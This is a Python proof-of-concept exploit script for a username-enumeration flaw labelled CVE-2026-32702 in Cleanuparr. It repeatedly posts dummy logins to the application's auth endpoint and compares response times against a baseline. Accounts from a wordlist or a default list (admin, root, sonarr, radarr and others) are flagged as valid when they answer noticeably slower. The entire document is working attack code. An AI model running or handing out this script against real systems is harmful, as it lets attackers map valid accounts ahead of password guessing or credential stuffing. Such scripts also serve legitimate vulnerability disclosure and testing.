#!/usr/bin/env python3
"""
CVE-2026-32702 - Cleanuparr Username Enumeration via Timing Attack
PoC for enumerating valid usernames through response time analysis
"""
import requests
import time
import statistics
from concurrent.futures import ThreadPoolExecutor, as_completed
TARGET_URL = "http://target:8787/api/auth/login"
USERNAMES_FILE = "usernames.txt" # Common usernames list
SAMPLES_PER_USER = 10 # Number of samples to collect per username
THREADS = 5
def test_login_timing(username, password="dummy_password"):
"""Send login request and measure response time"""
start = time.perf_counter()
try:
response = requests.post(
TARGET_URL,
json={"username": username, "password": password},
timeout=30
)
elapsed = time.perf_counter() - start
return elapsed, response.status_code
except requests.exceptions.RequestException:
return None, None
def analyze_timing(username, samples=SAMPLES_PER_USER):
"""Collect timing samples and analyze for timing differences"""
times = []
for _ in range(samples):
elapsed, _ = test_login_timing(username)
if elapsed:
times.append(elapsed)
time.sleep(0.1) # Small delay between requests
if len(times) >= 3:
avg_time = statistics.mean(times)
std_dev = statistics.stdev(times) if len(times) > 1 else 0
return avg_time, std_dev, times
return None, None, []
def enumerate_usernames():
"""Enumerate valid usernames using timing attack"""
print(f"[*] Starting username enumeration on {TARGET_URL}")
print(f"[*] Collecting {SAMPLES_PER_USER} samples per username\n")
try:
with open(USERNAMES_FILE, 'r') as f:
usernames = [line.strip() for line in f if line.strip()]
except FileNotFoundError:
# Default common usernames
usernames = ["admin", "root", "user", "test", "guest",
"administrator", "sonarr", "radarr", "qbittorrent"]
valid_users = []
baseline_avg = None
# First, establish baseline with known invalid username
print("[*] Establishing baseline timing...")
baseline, _, _ = analyze_timing("__invalid_user_12345__")
if baseline:
baseline_avg = baseline
print(f"[+] Baseline average time: {baseline_avg:.4f}s")
print("\n[*] Starting username enumeration...\n")
for username in usernames:
avg_time, std_dev, times = analyze_timing(username)
if avg_time:
diff = avg_time - baseline_avg if baseline_avg else 0
ratio = avg_time / baseline_avg if baseline_avg else 1
# Valid users typically have longer response times
# due to password hash computation
if ratio > 1.5 and diff > 0.05:
print(f"[+] VALID: {username:20s} | Avg: {avg_time:.4f}s | "
f"Diff: +{diff:.4f}s | Ratio: {ratio:.2f}x")
valid_users.append(username)
else:
print(f"[-] Invalid: {username:20s} | Avg: {avg_time:.4f}s")
print(f"\n[*] Enumeration complete. Found {len(valid_users)} valid users:")
for user in valid_users:
print(f" - {user}")
return valid_users
if __name__ == "__main__":
enumerate_usernames()